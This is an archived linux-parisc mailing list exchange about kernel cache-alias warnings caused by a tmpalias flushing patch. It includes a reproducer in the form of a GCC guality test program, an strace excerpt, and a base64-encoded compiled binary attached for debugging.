NNTP-Posting-Date: Wed, 29 Dec 2010 14:51:32 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 29 15:51:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PXxN6-0001UG-Db
	for glpp-linux-parisc@lo.gmane.org; Wed, 29 Dec 2010 15:51:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753176Ab0L2OvY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Dec 2010 09:51:24 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40680 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752694Ab0L2OvX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Dec 2010 09:51:23 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 91F388EE0F5;
	Wed, 29 Dec 2010 06:51:23 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XzRQ0x7eiR3R; Wed, 29 Dec 2010 06:51:23 -0800 (PST)
Original-Received: from [172.17.193.205] (unknown [66.155.189.2])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 465D48EE0EA;
	Wed, 29 Dec 2010 06:51:23 -0800 (PST)
In-Reply-To: <20101229042346.GA973@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.30.3 (2.30.3-1.fc13) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3312
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3312>

On Tue, 2010-12-28 at 23:23 -0500, John David Anglin wrote:
> On Wed, 22 Dec 2010, James Bottomley wrote:
> 
> > +		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
> > +			__flush_cache_page(mpnt, addr, page_to_phys(page));
> > +			if (old_addr)
> > +				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
> > +			old_addr = addr;
> >  		}
> 
> I'm seeing the above kernel error on shutdown:
> 
> Dec 26 12:30:56 mx3210 kernel: INEQUIVALENT ALIASES 0x13000 and 0x14000 in file killall5
> Dec 26 12:30:56 mx3210 kernel: INEQUIVALENT ALIASES 0x40122000 and 0x40121000 in file ld-2.11.2.so
> Dec 26 12:30:57 mx3210 kernel: INEQUIVALENT ALIASES 0x402a7000 and 0x402a6000 in file libc-2.11.2.so
> 
> This is with 2.6.36.2 and your two patches on a SMP kernel.  I've also seen
> these messages with a similar UP build in the gcc guality tests.  These
> check debug info with gdb.

Yes, I still don't know why, but fortunately the one above is the same
one I see, which only occurs when the system goes down.  I suspect
something is specifying a fixed offset for the library mappings which
violates our 4MB equivalency rule.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Thu, 30 Dec 2010 10:56:41 -0500
Organization: nrc.ca
Lines: 396
Approved: news@gmane.org
Message-ID: <20101230155640.GA7058@hiauly1.hia.nrc.ca>
References: <1293034931.3019.8.camel@mulgrave.site> <20101229042346.GA973@hiauly1.hia.nrc.ca> <1293634281.2803.4.camel@fuzzy>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="BOKacYhQ+x31HxR3"
X-Trace: dough.gmane.org 1293724612 10953 80.91.229.12 (30 Dec 2010 15:56:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 30 Dec 2010 15:56:52 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 30 16:56:47 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PYKrt-0007F8-9I
	for glpp-linux-parisc@lo.gmane.org; Thu, 30 Dec 2010 16:56:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754757Ab0L3P4o (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Dec 2010 10:56:44 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2265 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754515Ab0L3P4o (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Dec 2010 10:56:44 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C7ADE4E51; Thu, 30 Dec 2010 10:56:41 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <1293634281.2803.4.camel@fuzzy>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3313
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3313>


--BOKacYhQ+x31HxR3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, 29 Dec 2010, James Bottomley wrote:

> > Dec 26 12:30:57 mx3210 kernel: INEQUIVALENT ALIASES 0x402a7000 and 0x402a6000 in file libc-2.11.2.so
> > 
> > This is with 2.6.36.2 and your two patches on a SMP kernel.  I've also seen
> > these messages with a similar UP build in the gcc guality tests.  These
> > check debug info with gdb.
> 
> Yes, I still don't know why, but fortunately the one above is the same
> one I see, which only occurs when the system goes down.  I suspect
> something is specifying a fixed offset for the library mappings which
> violates our 4MB equivalency rule.

Attached is an application that triggers similar errors:

Dec 29 23:27:02 mx3210 kernel: INEQUIVALENT ALIASES 0x11000 and 0x12000 in file example.exe

If I was to guess, I think the problem is likely caused by the brk system
calls from popen:

...
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40001000
mprotect(0x40518000, 1413120, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40002000
mprotect(0x40518000, 1413120, PROT_READ|PROT_EXEC) = 0
munmap(0x40185000, 24154)               = 0
brk(0)                                  = 0x13000
brk(0x34000)                            = 0x34000
pipe2([3, 4], O_CLOEXEC)                = 0
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40000a68) = 3035
close(3)                                = 0
...

It's hard to debug because gdb needs to attach.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--BOKacYhQ+x31HxR3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="example.c"

/* { dg-do run { xfail *-*-* } } */
/* { dg-options "-g" } */

#define GUALITY_DONT_FORCE_LIVE_AFTER -1

#ifndef STATIC_INLINE
#define STATIC_INLINE /*static*/
#endif

#include "guality.h"

#include <assert.h>

/* Test the debug info for the functions used in the VTA
   presentation at the GCC Summit 2008.  */

typedef struct list {
  struct list *n;
  int v;
} elt, *node;

STATIC_INLINE node
find_val (node c, int v, node e)
{
  while (c < e)
    {
      GUALCHK (c);
      GUALCHK (v);
      GUALCHK (e);
      if (c->v == v)
	return c;
      GUALCHK (c);
      GUALCHK (v);
      GUALCHK (e);
      c++;
    }
  return NULL;
}

STATIC_INLINE node
find_prev (node c, node w)
{
  while (c)
    {
      node o = c;
      c = c->n;
      GUALCHK (c);
      GUALCHK (o);
      GUALCHK (w);
      if (c == w)
	return o;
      GUALCHK (c);
      GUALCHK (o);
      GUALCHK (w);
    }
  return NULL;
}

STATIC_INLINE node
check_arr (node c, node e)
{
  if (c == e)
    return NULL;
  e--;
  while (c < e)
    {
      GUALCHK (c);
      GUALCHK (e);
      if (c->v > (c+1)->v)
	return c;
      GUALCHK (c);
      GUALCHK (e);
      c++;
    }
  return NULL;
}

STATIC_INLINE node
check_list (node c, node t)
{
  while (c != t)
    {
      node n = c->n;
      GUALCHK (c);
      GUALCHK (n);
      GUALCHK (t);
      if (c->v > n->v)
	return c;
      GUALCHK (c);
      GUALCHK (n);
      GUALCHK (t);
      c = n;
    }
  return NULL;
}

struct list testme[] = {
  { &testme[1],  2 },
  { &testme[2],  3 },
  { &testme[3],  5 },
  { &testme[4],  7 },
  { &testme[5], 11 },
  { NULL, 13 },
};

int
main (int argc, char *argv[])
{
  int n = sizeof (testme) / sizeof (*testme);
  node first, last, begin, end, ret;

  GUALCHKXPR (n);

  begin = first = &testme[0];
  last = &testme[n-1];
  end = &testme[n];

  GUALCHKXPR (first);
  GUALCHKXPR (last);
  GUALCHKXPR (begin);
  GUALCHKXPR (end);

  ret = find_val (begin, 13, end);
  GUALCHK (ret);
  assert (ret == last);

  ret = find_prev (first, last);
  GUALCHK (ret);
  assert (ret == &testme[n-2]);

  ret = check_arr (begin, end);
  GUALCHK (ret);
  assert (!ret);

  ret = check_list (first, last);
  GUALCHK (ret);
  assert (!ret);
}

--BOKacYhQ+x31HxR3
Content-Type: application/x-gunzip
Content-Disposition: attachment; filename="example.exe.gz"
Content-Transfer-Encoding: base64

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
